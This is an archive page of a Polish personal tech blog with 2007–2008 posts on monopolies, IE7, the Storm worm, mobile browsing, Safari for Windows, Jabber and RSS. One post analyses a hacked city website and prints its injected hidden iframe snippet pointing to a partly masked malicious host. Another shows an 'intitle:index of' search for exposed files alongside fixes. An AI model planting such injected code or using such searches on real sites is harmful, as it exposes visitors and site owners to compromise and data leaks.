Archive for Internet
Zły monopol, dobry monopol
luty 9, 2008, godzina 20:16 · Internet, Społeczeństwo »
Uczono mnie na ekonomii, że monopol jest zawsze złą sytuacją. Dla konsumentów rzecz jasna, bo dla monopolisty jest to sytuacja idealna. Że drogo, że nie ma innowacji, bo nie ma sensu ich wprowadzać. Że z monopolem trzeba walczyć. I stąd mamy różne urzędy antymonopolowe i różne pomysły w rodzaju podziału Microsoftu na przykład czy też skargi na zbytnią integrację Internet Explorera z Windows.
Ostatnio jest cały czas głośno o ofercie, jaką złożył Microsoft - o wykupieniu serwisu Yahoo. Ja - jako użytkownik Flickr - podobnie jak wielu innych mam mieszane odczucia w stosunku do tej propozycji, ale cały czas zauważam, że Flickr nie zmienił się zbytnio po przejęciu przez Yahoo - konieczność założenia ichniejszego konta mogę przeżyć. Gdybym z moim kontem na Flickr miał przenieść się teraz do Microsoft to nie było by też wielkiego problemu, bo Windows Live ID posiadam również (a swoją drogą to Microsoft ostatnio dołączył do OpenID Foundation - myślicie, ze Live ID, dawny .NET Passport, stanie się kompatybilny z OpenID?).
Wróćmy jednak do monopolu - wraz z różnorodnymi komentarzami na temat tego przejęcia, które wciąż nie doszło do skutku, pojawiają się między innymi takie, że Microsoft znów chce zmonopolizować rynek - a że w przypadku Internetu źle zaczął, to chce teraz się odegrać. Zwłaszcza na Google - i w związku z praktykami monopolistycznymi Google (są takie? coś mi się w sumie po głowie kołacze, ale nie potrafię wymienić chyba) - pojawiają sie komentarze “ja już wolę monopol Google niż Microsoftu”. A zatem czyżby istniał monopol będący dla użytkowników dobry? Czy gdyby któraś dystrybucja Linuksa, dajmy na to Ubuntu, miała monopol na rynku systemów operacyjnych, to czy też byłby to dobry monopol?
Najpierw rozważmy tego Google. Nie da się ukryć, ze walczy on z Microsoftem, i to tworząc produkty nieporównywalnie lepsze niekiedy, i wyprzedzając swojego konkurenta, i cały czas go dystansując. Do tego posiada bardzo ważną rzecz jaką jest przyjazna marka, bo Microsoft automatycznie kojarzy się ludziom ze złem “w krainie Redmond, gdzie zaległy cienie”, na co wpływ ma oczywiście historia postępowania tej firmy i średnio się zapowiada, by się cokolwiek miało zmienić. Google natomiast ma znacznie bardziej przyjazną markę, “Don’t be evil”, mimo iż to hasło już czasem przestaje obowiązywać. Do tego promocja otwartych rozwiązań (np. Firefoksa czy XMPP) i trochę świetnych aplikacji. Może to z tego ogólnego odbioru Google bierze się przekonanie, że ich monopol byłby czymś dobrym? Ja szczerze mówiąc - wątpię w to. Konkurencja - chcąc czy nie chcąc - napędza rynek. Najbardziej jaskrawym przykładem jest choćby Internet Explorer, który w momencie walki z Netscape Navigatorem (…a światłość wiekuista…) rozwijał się (i - moim zdaniem - w wersji 5/6 był znacząco lepszy niż Navigator 5/6), a potem stał się gnuśnym produktem, którego rozwój zatrzymał się po uzyskaniu monopolu na rynku przeglądarek internetowych. Czy gdyby doszło do monopolu Google to czy doszło by do tego samego? No cóż - obecnie mam wrażenie, że Google - jako swój sztandarowy produkt - się nie rozwija zbytnio. Ma znaczną przewagę zarówno nad Yahoo czy Live.com, ale nie widzę jakoś drastycznych zmian w funkcjonalności produktu, a Google samo zbacza w inne, dodatkowe usługi - Docs, GMail, Google Talk…
W przypadku hipotetycznego monopolu Ubuntu na rynku klienckich systemów operacyjnych już sytuacja mogła by być inna, bo siłą napędową projektów z rodzaju F/OSS jest społeczność. I to ona jest nastawiona na innowacje… ale moment - największymi ośrodkami innowacji obecnie nie jest społeczność, a korporacje - np. Apple. Czy ten Microsoft Research. Oczywiście nie twierdzę, że ruch wolnego oprogramowania tylko powiela pomysły podpatrzone u kogoś innego, bo chyba to przenikanie się pomysłów zachodzi w dwie strony - i wiele korporacji bierze i daje do ruchu tak zwanego WiOO naprawdę wiele.
Jednak spójrzmy na inną stronę - gdy jeden system ma zdecydowaną przewagę, to na niego jest tworzone “mainstreamowe” oprogramowanie. Jeden Linux - jeden format paczek, jeden system oficjalnie wspierany przez jakieś 3rd party firmy. Dla ludzi, którzy cenią sobie obecną różnorodność środowiska Linuksowego (bo to między innymi jest jego wielką siłą) to jest nie do przyjęcia.
Czy zatem może istnieć dobry monopol?
Permalink |
IE7 dostępny bez WGA
październik 5, 2007, godzina 20:43 · Internet, Microsoft, Webmastering »
Nie zauważyło tego tak wiele osób, jakoś cicho w Sieci się nam zrobiło, zarówno na wieść o udostępnienu kodu .NET Frameworka, ale również niewiele słychać o tym, że Internet Explorer 7 już nie sprawdza legalności systemu podczas instalacji.
Co to oznacza dla użytkowników? Wersja 7 najpopularniejszej przeglądarki przynosi przeglądanie w kartach, obsługę RSS czy większe bezpieczeństwo. A teraz mogą pobrać i zainstalować ją, oficjalnie, bez uciekania się do róznorodnych sztuczek, także użytkownicy nielegalnych systemów, Windows XP SP2 i nowszych.
A co to przynosi webmasterom? Przynosi to chociaż teoretycznie możliwość, że teraz jeszcze większa część użytkowników Internet Explorera 6 zrezygnuje z tej przeglądarki na rzecz choćby nawet tej wersji 7, która poczyniła (małe, to małe, ale zawsze) kroki w celu lepszej obsługi standardów sieciowych. Co jest chwalebne.
Chciałbym jednak zwrócić uwagę na dwie rzeczy teraz jeszcze. Po pierwsze na politykę koncernu, w której widać wyraźnie, że “lepiej aby użytkownicy piracili, niż aby się przesiedli na systemy alternatywne”. Szkoda, że nie ma większej ilości tak fajnych kroków jak Office 2007 za 199,- PLN.
Drugą rzecz na jaką chciałbym zwrócić uwagę, to fakt, że o następnej wersji IE jakoś nie słychać. Szkoda to, ale i tak nie był bym pewien czy ona by nam, webmasterom, przyniosła jakieś kolejne konkretne poprawki w obsłudze stylów CSS. Dlaczego? Większość stron jest nadal pisania “pod IE” i pod nim mają wyglądać dobrze. Gdyby teraz firma postanowiła, ze oto na przykład usuną rozszerzenie document.all, zmienią standardowy model pudełkowy, czy cokolwiek w tym rodzaju, to pół internetu się wizualnie “rozleci”. A do kogo będą pretensje? No przecież nie do webmasterów, a do Microsoftu, który znów zrobił coś “źle”. Niestety, poprawienie błędów będzie musiało współgrać jakoś z edukacją twórców stron. Dlatego boję się, że nawet Internet Explorer 8 nie pomoże w dziedzinie obsługi standardów sieciowych - choć mogą zostać dodane nowe funkcjonalności, to średnio widzę poprawianie starych błędów…
Technorati Tags: internet explorer, wga, microsoft
Permalink |
Wirus prezydencki
wrzesień 16, 2007, godzina 08:47 · Internet, Komputery »
Dziś rano czytając RSS jakie mam w Google Readerze moją uwagę przykuł tekst na blogu Tomka Topy: “Strona Prezydenta Gdańska może wyrządzić szkody na Twoim komputerze…”. Tomek pisze, że tak Google pisze przy wyszukiwaniu i tak twierdzi jego antywirus AVG po zapisaniu strony na dysk.
Tak się jakoś złożyło, że ostatnio piszę sporo na temat bezpieczeństwa, więc i tym mogłem się zająć. Korzystając z mojej niewielkiej wiedzy na temat JavaScriptu sięgnąłem do źródła owej niebezpiecznej witryny i ujrzałem tam fragment kodu JavaScript, wspólny dla praktycznie wszelkiego typu złośliwych witryn - zakodowany tekst, rozkodowywany przez skrypt i wprowadzany do kodu strony poprzez document.write. Dlaczego zakodowany? Aby żaden antywirus nie zobaczył tego “na pierwszy rzut oka” oraz żeby żaden człowiek nie zobaczył tego na pierwszy rzut oka. Chwilka zabawy z trzema skryptami JS umieszczonymi na witrynie ujawniła co tak naprawdę do kodu strony wstrzykują.
<div style="visibility:hidden">
<iframe src="http://*****.com/**/upl/"
width=1 height=1></iframe></div>
Te trzy kawałki kodu różniły się tylko adresami w tych <iframe></iframe>. Co znajdowało się pod nimi? Niestety tego nie wiemy i być może się już nie dowiemy, bo dwa już nie mogą zostać znalezione, a jeden serwuje nam błąd 404. Spodziewam się, że tam znajdowały się jakieś niebezpieczne kody, być może jakieś trojany atakujące czy to Internet Explorera czy Firefoksa, jak pokazywał ten Łańcuszkowy atak na Gadu-Gadu sprzed blisko roku.
Strona zatem już niebezpieczna nie jest.
Pozostaje pytanie jednak - skąd niby niebezpieczny kod miał się wziąć na stronie prezydenta Gdańska? O uszy obiło mi się jakiś czas temu, że istnieje wirus/trojan/robak (dziś już coraz trudniej chyba określić co jest co), który korzystając z zapisanych haseł o FTP w programie Total Commander na komputerze ofiary łączy się z owymi serwerami FTP, a następnie modyfikuje pliki index.html czy index.php dodając do nich właśnie niebezpieczny kod - prowadzący choćby do strony przez którą taki wirus atakuje. Niestety nic na ten temat nie mogę wygooglać - jedyne co znalazłem na razie to informacje na temat trojanów z rodziny Trojan-PSW.Win32.PdPinch i Trojan-PSW.Win32.LdPinch których zachowanie jest o tyle podobne, że też “kradną” dane do łączenia się m.in. z serwerami FTP z użyciem programów Total Commander czy FileZilla.
Znalazłem. Zenux robi coś w tym stylu, może to jakaś jego odmiana.
Obrona? Nie zachowywać haseł w programach.
Permalink |
Cyfrowy sztorm
wrzesień 10, 2007, godzina 13:00 · Internet, Microsoft »
“Koniec Sieci jaką znamy!” Z tego typu dramatycznym okrzykiem widzę opinie na temat robaka Storm, który stworzył już podobno sieć maszyn zombie, której łączna moc obliczeniowa jest przerażająca i przewyższająca superkomputery z listy TOP500.
Fakt, Storm opanował niesamowitą liczbę maszyn i pozbyć się go będzie trudno. Widzę opinię, że “może to być bardzo trudne bez aktywnej reakcji Microsoftu” (za blogiem Piotra Wrzosińskiego), ale zastanawiam się, jaka u licha może być reakcja producenta, którego systemy są atakowane? Toż Storm, z tego co widzę, nie robi nic nowego. Rozsyła się e-mailem z załącznikiem jako EXE, instaluje jako usługa i pracuje dalej. Jak normalny trojan. Ale no rany - o ile wiem to Outlook/Outlook Express nie pozwala ot tak uruchomić pliku wykonywalnego z załącznika (bądź ostrzega, nie wiem, GMail mi usuwa EXE z załączników), Windows Vista z włączonym UAC jeszcze będzie chciał z mojej wiedzy potwierdzenia dla uruchomienia czegokolwiek co chce praw dostępu do m.in. zapisu w katalogu %SYSTEMROOT%. Ale przede wszystkim - ten plik wykonywalny w ogóle trzeba kliknąć! A to nie zależy od producenta systemu - to zależy od użytkownika! To nie jest Blaster czy Sasser który pojawia się sam i znikąd, to trzeba uruchomić samemu - problem ewidentnie leżący między klawiaturą i krzesłem. Do tego jeszcze są antywirusy i firewalle, które powinny zabronić programowi kontaktu z resztą zombie-sieci.
Ja wiem, co producent może zrobić, ale to rozwiązanie jest tak skrajne i niebezpieczne, że nie zgodzimy się na nie. Wiecie o czym mówię? Trusted Computing. Wirus/trojan/robak nie miał by cyfrowego identyfikatora w takim świecie, i żadna maszyna by go nie uruchomiła. A gdyby nawet uruchomiła - to aktualizując się sama przez sieć w końcu atak by został powstrzymany. W teorii rzecz jasna. Nie, nie mam zamiaru wskazywać drogi TC jako słusznej, nie mam zamiaru wskazywać, że komputer powinien lepiej wiedzieć ode mnie co ma zrobić.
To nie jest koniec Sieci jaką znamy. To jest potwierdzenie tego, czego baliśmy się od jakiegoś czasu. Że przestępcy mogą stworzyć botnet o niewyobrażalnym zasięgu. I potwierdzenie faktu, że ze względu na to, że użytkownik ma kontrolę nad maszyną, to nie ma możliwości zabezpieczenia przed czymś takim.
Permalink |
Uważaj na swój indeks
czerwiec 28, 2007, godzina 21:36 · Internet, Komputery »
Nie, nie apeluję do studentów aby uważali na swoje oceny (choć to też jest ważne) ani na duchownych, by uważali aby im ktoś Indeksu Ksiąg Zakazanych nie gwizdnął. Nie, rzecz jasna odnoszę się do Internetu.
Prawdopodobnie najpopularniejszy serwer internetowy na świecie, Apache, jak i zresztą jego konkurenci, ma to do siebie, że pozwala pokazywać listę plików obecnych w danym katalogu serwera, gdy nie jest dostępny dokument określany w ustawieniu DirectoryIndex - najczęściej index.html, index.htm czy default.htm, czyli dokument domyślnie pokazywany gdy przeglądarka zażyczy sobie pokazania, co w danym katalogu “siedzi”. Taki podgląd plików w katalogu jest bardzo fajną opcją, często bardzo przydatną, jednak oczywiście - może sprawić nam kłopoty. Zdarzyło się już pewnie nie raz, że komputerowi entuzjaści dostawali dostęp do kodu lub ważnych plików konfiguracyjnych źle napisanego serwisu - przykładowo słyszałem o sytuacji, gdy ścieżka /admin/admin.php prowadziła do jakiegoś panelu administracyjnego, podczas gdy samo /admin/ - oczywiście do indeksu katalogu, w którym też znajdowały się pliki konfiguracyjne z rozszerzeniem .inc, zawierające np. hasło dostępu do bazy danych. A zła konfiguracja serwera (względnie niedomyślność programisty nie wiedzącego o takim zagrożeniu) spowodowała, że pliki .inc traktowane są jako czysty tekst i można je bezproblemowo odczytać - także nieupoważnionym osobom (by się przed tym, najłatwiej, zabezpieczyć ja nie stosuję plików tekstowych konfiguracyjnych włączanych gdzieś indziej do skryptu, a nadaję im rozszerzenie .php, by przed wyświetleniem potraktował je interpreter tego języka co spowoduje, że treść skryptu nie zostanie ujawniona).
Powiecie, że sytuacja wydumana. Dobrze, zgodzę się, może to tylko jednostkowy przypadek. Jednak teraz coś bliżej życia - niektórzy używają swoich serwerów internetowych po to, by ze znajomymi dzielić się plikami - na przykład muzyką. Nic nie stoi na przeszkodzie, nawet prawo pozwala na dzielenie się z rodziną w ramach użytku osobistego, a w założeniu nasz katalog jest ukryty i nikt o nim nie wie. Jednak jeden nieopatrzny link spowoduje, że wyszukiwarka internetowa, np. Google będzie mogła znaleźć taki katalog. I go zindeksować. Co za tym idzie? A, zrobiłem eksperyment szukając pewnego utworu muzycznego w Google. Szybkie zapytanie:
[wykonawca] [tytuł] intitle:index of
Spowodowało, że znalazłem odpowiedni album i odpowiedni utwór w postaci pliku OGG. Jak się przed tym uchronić? Oczywiście, robots.txt. Albo wyłączając automatyczne indeksy. O ile niekiedy faktycznie mogą być one użyteczne, o tyle często mogą być oczywiście również niebezpieczne. Wyłączenie tworzenia automatycznych indeksów plików w serwerze Apache odbywa się dyrektywą Options z parametrem -Indexes, którą możemy użyć albo w httpd.conf, bądź też często jest możliwe w pliku .htaccess. Wyłączenie tej opcji w serwerze Microsoftu, IIS jest również nietrudne, przykładowo w IIS 7.0 wystarczy tylko wejść w opcjach danego katalogu (lub aplikacji) do sekcji Directory Browsing i kliknąć Disable (w IIS 6.0 także w zarządzaniu danym katalogiem znajdziemy odpowiednią opcję). Istnieje też bardzo prosta, nie wymagająca grzebania w konfiguracji metoda - stworzenie jakiegokolwiek, choćby pustego, pliku index.html, który będzie serwer wysyłał do klienta zamiast tworzonej listy plików.
Oczywiście nie namawiam do paranoidalnego wyłączenia natychmiast wszystkich swoich indeksów - radzę jednak przemyśleć czy pokazywanie plików na pewno nie jest zagrożeniem dla aplikacji.
Jednak jeszcze wspomnę o jednej sprawie - w celach naukowych postanowiłem wpisać w wyszukiwarce, czy uda mi się znaleźć pliki konfiguracyjne jakiś serwisów w podobny sposób jak muzykę. I jedna ze stron, które mi się by, jako potencjalnemu włamywaczowi spodobała, okazała się być tzw. honeypot (ang. garnek miodu), czyli właśnie przynętą na włamywaczy, takich, którzy plików konfiguracyjnych szukali. Gratuluję pomysłu! :-)
Permalink |
Mobilny internet
czerwiec 17, 2007, godzina 21:41 · Internet, Technologia »
Dobre 9 lat temu głośno było o czymś, co nazywa się WAP. Jednak czasy się zmieniły.
WAP był za wcześnie. Wtedy mało kto interesował się usługami dodanymi, wtedy wiadomości tekstowe były w gruncie rzeczy nowością. A rozliczanie za czas trwania połączenia (zwykle o oszałamiającej szybkości 9,6 kbps) praktycznie przypieczętowało los WAP. Do spółki z ubogą treścią stron, brakiem grafiki i zupełną innością stron WAP od klasycznych stron WWW - te pierwsze musiały być pisane w specjalnym dialekcie XML, nazwanym WML, nie mogły nawet początkowo przekraczać pewnej wielkości, bo telefony by sobie nie poradziły… Cudem było, że istniały skrypty po stronie klienta, tak zwany WMLScript. A że XML jest od HTML-a znacznie bardziej restrykcyjny, to i się jakoś specjalnie webmasterzy nie poddawali fali.
Potem pojawił się WAP 2.0. Wprowadzony w 2001 roku WAP 2.0 zmienił oblicze tej technologii. Dla użytkownika widoczna była kolorowa grafika i bardziej zaawansowane strony. Upowszechnienie się pakietowej transmisji danych GPRS zmniejszyło koszty, bo już nie płaciliśmy za czas czytania strony, a za to ile ona zajmowała. XHTML Mobile Profile ułatwił tworzenie stron. A z czego najbardziej korzystali i nadal korzystają użytkownicy? Z WAP Push, czyli w gruncie rzeczy możliwości pobierania z Internetu obrazków, gier i dzwonków na swoje telefony komórkowe, a same strony WAP są nadal bardzo rzadko odwiedzane. Wszystko bowiem zmieniło się nagle, na początku zeszłego roku, gdy pojawiła się Opera Mini. Opera Mini polega na serwerach firmy Opera i oferuje przeglądanie klasycznych stron internetowych wstępnie przetransformowanych do postaci dobrej dla malutkich ekranów przeglądarek w komórkach. Stąd nie ma już niby konieczności tworzenia oddzielnych wersji stron (w rzeczywistości jest to jednak wskazane, bo Opera Mini nie radzi sobie przy niektórych elementach klasycznych witryn).
Z mobilnym internetem mam wspólną przeszłość - gdy WAP pojawił się, ja byłem bardzo żywo zainteresowany tą technologią, tworzyłem stronę o WAP-ie (oraz stronę WAP własną), posiadałem profesjonalny telefon z szybką transmisją danych (zabawnie to brzmi dziś, gdy posiadam łączę 3 Mbps, gdy tamto “szybkie” dla mnie oznaczało 14,4 Kbps), potem też posiadałem telefon z GPRS, co zmniejszyło moje koszty użytkowania internetu w telefonie. Jednak pamiętam, że tamte strony były ubogie, były tylko z jakimiś podstawowymi informacjami, a dziś… a dziś tęsknię to prostych stron dla urządzeń mobilnych :-)
O co chodzi? Dysponuję dziś PDA, na którym często oglądam strony internetowe będąc podłączonym do jakiegoś przygodnego hot-spotu. I choć szybkość transmisji dziś nie jest problemem, to problemem staje się wielkość mojego urządzenia. Niestety - strony internetowe to dostosowane w większości nie są do małych ekranów i wygląd niektórych rzeczy jest tragiczny (także z powodów błędów samej przeglądaarki). W sytuacji przeciwnej jest jednak np. Google, z którego mobilnej wersji GMaila przeglądam czy aby nowej poczty nie ma. Dobrze stworzone strony oparte o warstwy też czyta się często nie najgorzej (aczkolwiek są wyjątki). Ale czy wiecie co mnie obecnie najbardziej denerwuje? Ta technologia, która jest podstawą ostatnio całego szumu, cudownie odnaleziony XMLHttpRequest, znany dziś jako Ajax. Ostatnio sobie chciałem poczytać blipa, wielu moich znajomych (internetowych) tam blipuje, niestety strona główna okazała się średnio użyteczna - Pocket Internet Explorer (swoją drogą nie jest taka zła ta przeglądarka, ale Operę Mobile będę musiał wypróbować) nie umie Ajaksa. A czy ktoś nie wie czy w Windows Mobile 6 nie została wprowadzona jakaś nowa wersja tej przeglądarki, bo ta z Windows Mobile 2005 ma problemy z rozumieniem skomplikowanych CSS… Choć ja czekam na Microsoft Deepfish.
Mam nadzieję, że potencjał małych urządzeń przenośnych zostanie dostrzeżony i pojawi się więcej stron dostosowanych do urządzeń mobilnych. Bo dzięki boomowi na sieci bezprzewodowe, dzięki Symbianowi coraz popularniejszemu, dzięki Operze Mini, wreszcie internet mobilny wyrósł z powijaków.
A ciekawe jaki wpływ będzie miał “cudowny” iPhone.
Technorati Tags: mobile, internet, PDA, Opera Mini, Deepfish, Pocket Internet Explorer
Permalink |
Safari 3 beta dla Windows
czerwiec 11, 2007, godzina 21:02 · Beta, Internet, Webmastering »
Stało się, przeglądarka znana dotychczas tylko z systemu MacOS wraz z wersją 3 beta zawitała także na platformę Windows. Powitajmy Safari. Beta jest do pobrania. Pojawiła się dobre kilka minut temu, więc mogą być problemy z pobieraniem, a ja mogę być pierwszy w polskiej blogosferze, który cokolwiek na ten temat pisze ;-)
Do pobrania u producenta.

Uwagi na szybko:
- Jest szybka. Wyraźnie szybsza od Firefoksa
- Nie pasuje wizualnie do systemu. Ponoć to tak ma być? Dziwne według mnie
- Po maksymalizacji okna, minimalizacji i przywróceniu już nie jest na cały mój panoramiczny ekran…
- Minimalizacja okna nie wywołuje “animacji” minimalizacji - znowu nie współgra z systemem
- Maksymalizacja okna przeglądarki nie jest płynna
- Niektóre strony się kompletnie rozsypują, brak nagłówków, linków i różnych takich rzeczy.
- Ciekawe kiedy pierwszego crasha zaliczę.
To jest beta, więc błędy są zrozumiałe. Do codziennego użytkowania już widzę, że się nie nadaje - zbyt wiele stron się kompletnie rozsypuje - brak renderingu nagłówków, list, a zwłaszcza linków wyklucza Safari z normalnego użycia. Ale to beta.
Mam nadzieję, że wersja finalna będzie znacznie lepsza.
Ale i tak Safari dla Windows uznaję za dziwny twór. Czyżby Apple pozbywał się MacOS? ;-)
Uwagi po dłuższej chwili
- Wysypuje się na dodawaniu do zakładek
- Pokazuje że powinna być zreinstalowana przy stronie do której nie może się odwołać
- Test Acid2 pokazuje się - ale dopiero jak się pokręci scrollem i ustawi “buźkę” jak trzeba
- Nie zamyka kart śródklikiem myszy
- Gdzie to ma otwieranie nowych, pustych kart przez dwuklik myszy na pustym miejscu?
Permalink |
I ja też o Chrome.pl
maj 20, 2007, godzina 23:11 · Internet, Komputery »
Znając życie to pół polskiej blogosfery, a przynajmniej tej części “uświadomionej”, korzystającej z nowoczesnego otwartego systemu operacyjnego i pewnego otwartego standardu komunikacji albo już o tym napisała, albo napisze. I ja też, nie będę gorszy.
Chrome.pl przestał działać. Nagle i niespodziewanie, bez ostrzeżenia praktycznie. Dowiedziałem się o tym zaglądając na Jogger.pl, bo tymczasową niemożność podłączenia do Chrome uznałem za kolejny “pad”. I co ja powiem? Szkoda po prostu. Szkoda serwera z którym byłem związany. To był mój pierwszy serwer Jabbera, obecnie posiadam 4 konta inne, ale nadal Chrome był i będzie tym pierwszym, którego się nie zapomni ;-) Ogólnie serwer miał w rozwój społeczności XMPP w Polsce wpływ niebagatelny. A czy kiedykolwiek jeszcze wstanie i odżyje, czy to przejęty przez bliżej mi nieznaną FWiOO czy jabbim.cz czy może w ogóle sam smoku wróci do interesu, to już inna sprawa. Choć w powrót smoka (a nie raczej “Wejście”?) obecnie już wątpię.
Mi zostaje już uaktualnić wszelkie dane kontaktowe na różnych serwisach oraz postarać się o autoryzację jeszcze chyba tylko kilku osób i migracja zostanie dopełniona. Siła Psi polega na tym, że dostęp do listy kontaktów nawet bez połączenia z serwerem jest - choć ja akurat JID-y różnych osób trzymam także w moim programie PIM.
Fajnie było przez 6 lat. I nawet jeżeli coś odżyje, to już nie będzie to samo. Było fajnie, szkoda, że skończyło się nagle i bez ostrzeżenia, bo są to straty dla wielu osób. I do zobaczenia na jakiś innych serwerach zapewne. Bo czy ktokolwiek kto zaznał XMPP wróci do jakiegoś innego zamkniętego protokołu?
Swoją drogą zastanawia mnie czy kiedyś pojawi się w Polsce firma oferująca (bez)płatne, stabilne konta Jabberowe…
Permalink |
RSS
kwiecień 11, 2007, godzina 11:09 · Internet, Komputery »
Śledzić RSS zacząłem stosunkowo niedawno. Nie byłem jakimś pierwszym. Tak samo nie byłem jednym z pierwszych, którzy założyli sobie bloga, zaczęli używać Twittera, netvibes, del.icio.us (a tutaj to się długo wzbraniałem, obecnie zastąpiłem moje zakładki przez ten serwis). I sobie siedzę, śledzę trochę różnych rzeczy.
Przedwczoraj Piotr porządki w swoich śledzonych wątkach (tak zawsze tłumaczę “feed”) zrobił i przy okazji niejako wyszło na jaw, że śledzi blisko 300 źródeł RSS. “Łał” - pomyślałem - “swoją drogą ciekawy jestem, ile ja mam”. Okazało się, że posiadam 73 subskrypcje. Ale poszedłem za ciosem - porządkowanie według folderów zrobiłem już kiedyś, teraz jedynie wziąłem się za usuwanie nieaktualizowanych już blogów czy serwisów. I za dodanie tych, które czytam, które RSS mają, a których z bliżej nieznanych mi powodów nie śledzę. Po drodze się też okazało, że na przykład gubiłem wpisy u Tomka Topy, bo miałem nieaktualny adres RSS. Wyszedłem na minus, bo źródeł pozostało 69. Będę musiał coś nowego do czytania znaleźć ;-)
Filtrowanie według tagu “blog”, bo wszystkie blogi mam w jednym worku praktycznie (a i tak większość to techblogi rożne) ukazało że 51 RSS-y to blogi. Gdyby do tego dodać to, co śledzę korzystając z Joggera (a i to, co czytam i zapominam do RSS dodać) i to, co na 10przykazań śledzę (choć teraz widzę, że się to i w moim RSS powtarza) to powiem, ze ja chyba nic innego nie robię, tylko blogi różne czytam ;-) A kiedyś to takie bzdurne było.
Z ciekawości spojrzałem też na moje coComment, gdzie ujrzałem 59 śledzonych dyskusji, z których nie tylko spora część już dawno się zakończyła, ale niektóre aktualne - nie są przez serwis aktualizowane. Szkoda, bo fajna idea, na pewno lepsza niż śledzenie wszystkich komentarzy jako oddzielnych źródeł RSS. Ogólnie tylko komentarze wszystkie do tego bloga i jeszcze jednego śledzę jako RSS, ale to już wszystkie - nieważne gdzie się coś nowego pojawi, to ja to widzę, czy się odnosi do jakiegoś prehistorycznego wpisu u mnie, czy też najnowszego :-)
A już swoją drogą - używałem JabRSS, RSSBandit, używałem Bloglines, używam Google Reader. I nadal nie wiem czy to jest to. Coś mi nie gra, ale nie potrafię określić co. I za bardzo nie wiem jaką formę mogłyby przyjąć RSS-y. Spersonalizowane źródła wybierane po słowach kluczowych, żeby wybierało tylko to, co mnie interesuje? Przydałby się też chyba jakiś myk do szybkiego dodawania źródeł bezpośrednio do GReadera z przeglądarki, tak jak obecnie używam del.icio.us. A może takie coś jest?
Permalink |
Informatycy to nudziarze
styczeń 30, 2007, godzina 20:12 · Internet, Komputery, Społeczeństwo, Z innej beczki, Za firewallem »
Tak rzecze niejaki the.5us w dyskusji na forum Gazeta.pl. Od razu oczywiście pojawiły się komentarze, rzecz jasna informatyków bądź ich innych znajomych, że oni wcale to tacy nie są.
Sam oczywiście, jako kształcący się na informatyka, bo to pojęcie jest wystarczająco szerokie, by zmieścić wszystko, co mogę kiedyś w przyszłości robić, poczułem się urażony tym, że jestem niedomytym nudziarzem. O stereotypie informatyka pisałem już kiedyś, ale tam skupialiśmy się na cechach zewnętrznych - ubiorze, myciu i takich tam. A teraz słyszymy o cechach wewnętrznych - informatycy są nudziarzami. Oczywiście generalizowanie jest złe, do wszystkich się to co napiszę, nie będzie odnosić, ale po prostu opowiem coś o sobie. I o moich znajomych. Bez nicków, nie ma się co bać ;-)
Jak się tak przyjrzeć z zewnątrz, to faktycznie, choć mogę temu próbować przeczyć, mogę się wydawać nudziarzem. Bo co to za rozmowa, jak zawsze na komputery albo uczelnię schodzi? Nudy. Oczywiście dla kogoś, kto zna się w temacie, to rozmowa może być niebywale interesująca i dotyczyć ważnych spraw dla zachowania światowego ładu, w stylu dyskusji dlaczego emacs ssie, a vi jest wieczny. Ale fakt - dla zewnętrznego obserwatora to mogą być nudy. Fakt jest taki, że jeśli się przyjrzy wewnętrznej rozmowie dwóch fascynatów komputerów, to będą używać niekoniecznie zrozumiałego dla innych żargonu. Ale chyba używanie żargonu w rozmowie z innym przedstawicielem tej samej profesji nie jest niczym niezwykłym? Czy prawnicy między sobą nie rozmawiają o legislacji, marketingowcy o analizie SWOT czy czymś w tym stylu? Więc dlaczego informatycy nie mogą rozmawiać o debugowaniu, switchach czy czymkolwiek innym?
Oczywiście, dla wielu komputerowo-uzależnionych informatyka jest pasją, ale to nie oznacza, że nie mogą mieć innych. Duża jest popularność fantastyki, od filmów przez książki do gier RPG. Ja widzę też zainteresowanie komiksem, literaturą w naprawdę różnych odmianach (sam zaskoczony byłem ostatnio prowadząc krótką rozmowę na temat “Innego świata”, “Mistrza i Małgorzaty”, “Paragrafu 22″, “Zbrodni i kary” i czegoś jeszcze - chyba “Buszującego w zbożu”), filmem, i to nie tylko “Hakerami” i “Grami wojennymi”. Znam ludzi, którzy, choć są informatykami, trenują sport i nie piją Coli i odżywiają się zdrowo (trudno w to uwierzyć?). Znam człowieka, który wyrabia sobie kondycję skacząc po macie przed konsolą, ale to specyficzny wyjątek :-) Znam ludzi, którzy mają naprawdę szalone zainteresowania, w rodzaju obcych cywilizacji czy innej paleoastronautyki. A także prowadzą dyskusje o takich rzeczach jak natura zła w człowieku. Ot, nudne i monotonne tematy.
Z drugiej strony sam się z siebie śmieję, że wiele dyskusji prowadzę na tematy które od komputerowych przechodzą do czegoś, często matematycznych, bądź innych naukowych, a i tak zawsze do komputerów się wraca. Choć zawsze jest temat, na który zdarza mi się rozmawiać, z którego się do komputerów rzadko dochodzi. Ale o co chodzi nie zdradzę.
Stereotyp. Nudziarzy można spotkać wszędzie. A ten jeden zawód to nie jest pełen nudziarzy, z pewnością podobny odsetek da się znaleźć wśród pracowników w innych rolach. Ale może to tylko moi znajomi, przyszli informatycy, to jeszcze nie są nudziarzami, a dopiero się nimi staną?
Permalink |
« Poprzednia strona